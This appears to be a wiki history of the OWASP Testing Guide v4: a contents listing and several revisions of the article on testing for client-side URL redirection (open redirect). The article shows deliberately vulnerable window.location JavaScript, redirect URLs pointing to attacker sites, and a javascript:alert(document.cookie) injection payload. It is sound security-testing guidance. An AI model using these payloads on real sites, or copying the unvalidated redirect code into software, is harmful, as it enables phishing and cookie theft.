[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]

[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.5.1 Oracle Testing]]

[[Testing for MySQL|4.8.5.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.5.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.6 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.7 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.9 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

[[Testing for XPath Injection (OWASP-DV-010)|4.8.10 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.12 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]] '''[to be updated]'''

[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]] '''[to be updated]'''

[[Testing for Command Injection (OWASP-DV-013)|4.8.13 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.14.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.1 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)" [Simone Onofri]

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]] [Simone Onofri]

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]]

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]

[[Test for Process Timing (OTG-BUSLOGIC-007)|4.12.4 Test for Process Timing (OTG-BUSLOGIC-004)]]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]]

[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-009)|4.12.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-015)|4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

[[Test Upload of Malicious Files (OTG-BUSLOGIC-016)|4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

[[Client Side Testing|'''4.15 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Testing for JavaScript Execution|4.15.2 Testing for JavaScript Execution (OWASP-CS-002)]] (Stefano Di Paola, Matteo Meucci)

[[Testing for HTML Injection|4.15.3 Testing for HTML Injection (OWASP-CS-003)]] (Stefano Di Paola, Matteo Meucci)

[[Testing for Client Side URL Redirect|4.15.4 Testing for Client Side URL Redirect (OWASP-CS-004)]] (Mauro Gentile, Davide Danelon)

[[Testing_for_CSS_Injection|4.15.5 Testing for CSS Injection (OWASP-CS-005)]] (Mauro Gentile, Davide Danelon)

[[Testing_for_Client_Side_Resource_Manipulation|4.15.6 Testing for Client Side Resource Manipulation (OWASP-CS-006)]] (Mauro Gentile, Davide Danelon)

[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.15.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.15.8 Testing for Cross Site Flashing (OTG-CLIENT-008)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.15.9 Testing for Clickjacking (OTG-CLIENT-009)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets (OTG-CLIENT-005)|4.15.10 Testing WebSockets (OTG-CLIENT-010)]] [Ryan Dewhurst]

[[Test Web Messaging (OTG-CLIENT-006)|4.15.11 Test Web Messaging (OTG-CLIENT-011)]] [Juan Galiana]

[[Test Local Storage (OTG-CLIENT-007)|4.15.12 Test Local Storage (OTG-CLIENT-012)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]'''Ready to be reviewed'''
* Books [To review--> David Fern]'''Ready to be reviewed'''
* Useful Websites [To review--> David Fern]'''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==
[To review--> Amro AlOlaqi] '''Ready to be reviewed'''

----

ARTICLES DELETED:

INFO GATHERING:

CONFIGURATION AND DEPLOY MANAGEMENT TESTING:

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

IDENTITY MANAGEMENT TESTING:

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

AUTHORIZATION TESTING:

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

SESSION MANAGEMENT TESTING:

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

DATA VALIDATION TESTING:

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

CRYPTOGRAPHY:

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

BUSINESS LOGIC:

XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates)

DENIAL OF SERVICE

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]

WEB SERVICES TESTING

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Category:OWASP Testing Project]]

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2013-12-16T17:39:07Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.
 

== Description of the Issue ==
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.
 
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.
 
A phishing attack example could be the following:
 
<pre>
http://www.target.site?#redirect=www.fake-target.site
</pre>
 
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.
 
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.
 

== Black Box testing and example ==
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
 

== Gray Box testing and example ==
'''Testing for Client Side URL Redirect vulnerabilities:''' 
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
 
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
<pre>http://www.victim.site/?#www.malicious.site</pre>
Note how, if the vulnerable code is the following:
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
</pre>
It also could be possible to inject JavaScript code, for example by submitting the following query string:
<pre>http://www.victim.site/?#javascript:alert(document.cookie)</pre>
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
 
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
 

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers''' 
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - http://kotowicz.net/absolute/
'''Tools''' 
* DOMinator - https://dominator.mindedsecurity.com/

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2013-12-16T17:28:52Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.
 

== Description of the Issue ==
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.
 
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.
 
A phishing attack example could be the following:
 
<pre>
http://www.target.site?#redirect=www.fake-target.site
</pre>
 
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.
 
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.
 

== Black Box testing and example ==
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
 

== Gray Box testing and example ==
'''Testing for Client Side URL Redirect vulnerabilities:''' 
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
 
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
<pre>http://www.victim.site/?#redirect=www.malicious.site</pre>
Note how, if the vulnerable code is the following:
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
</pre>
It also could be possible to inject JavaScript code, for example by submitting the following query string:
<pre>http://www.victim.site/?#redirect=javascript:alert(document.cookie)</pre>
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
 
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
 

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers''' 
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - http://kotowicz.net/absolute/
'''Tools''' 
* DOMinator - https://dominator.mindedsecurity.com/

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2013-12-16T17:20:52Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.
 

== Description of the Issue ==
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.
 
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.
 
A phishing attack example could be the following:
 
<pre>
http://www.target.site?#redirect=www.fake-target.site
</pre>
 
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.
 
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.
 

== Black Box testing and example ==
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
 

== Gray Box testing and example ==
'''Testing for Client Side URL Redirect vulnerabilities:''' 
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
 
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
<pre>http://www.victim.site/?#www.malicious.site</pre>
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
 
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
 

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers''' 
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - http://kotowicz.net/absolute/
'''Tools''' 
* DOMinator - https://dominator.mindedsecurity.com/

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2013-12-16T17:19:39Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.
 

== Description of the Issue ==
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.
 
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.
 
A phishing attack example could be the following:
 
<pre>
http://www.target.site?#redirect=www.fake-target.site
</pre>
 
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.
 
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.
 

== Black Box testing and example ==
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
 

== Gray Box testing and example ==
'''Testing for Client Side URL Redirect vulnerabilities:''' 
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
 
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.search.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: www.victim.site/?#www.malicious.site
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
 
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
 

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers''' 
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - http://kotowicz.net/absolute/
'''Tools''' 
* DOMinator - https://dominator.mindedsecurity.com/

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2013-12-16T16:42:25Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.
 

== Description of the Issue ==
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.
 
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.
 
A phishing attack example could be the following:
 
<pre>
http://www.bank.com?redirect=http://www.fake-bank.com/
</pre>
 
The victim that visits bank.com will be automatically redirected to fake-bank.com where an attacker could place a fake page to steal victim's credentials.
 
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.
 

== Black Box testing and example ==
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
 

== Gray Box testing and example ==
'''Testing for Client Side URL Redirect vulnerabilities:''' 
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
 
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.search.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: www.victim.com/?www.malicious-site.com
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
 
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
 

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers''' 
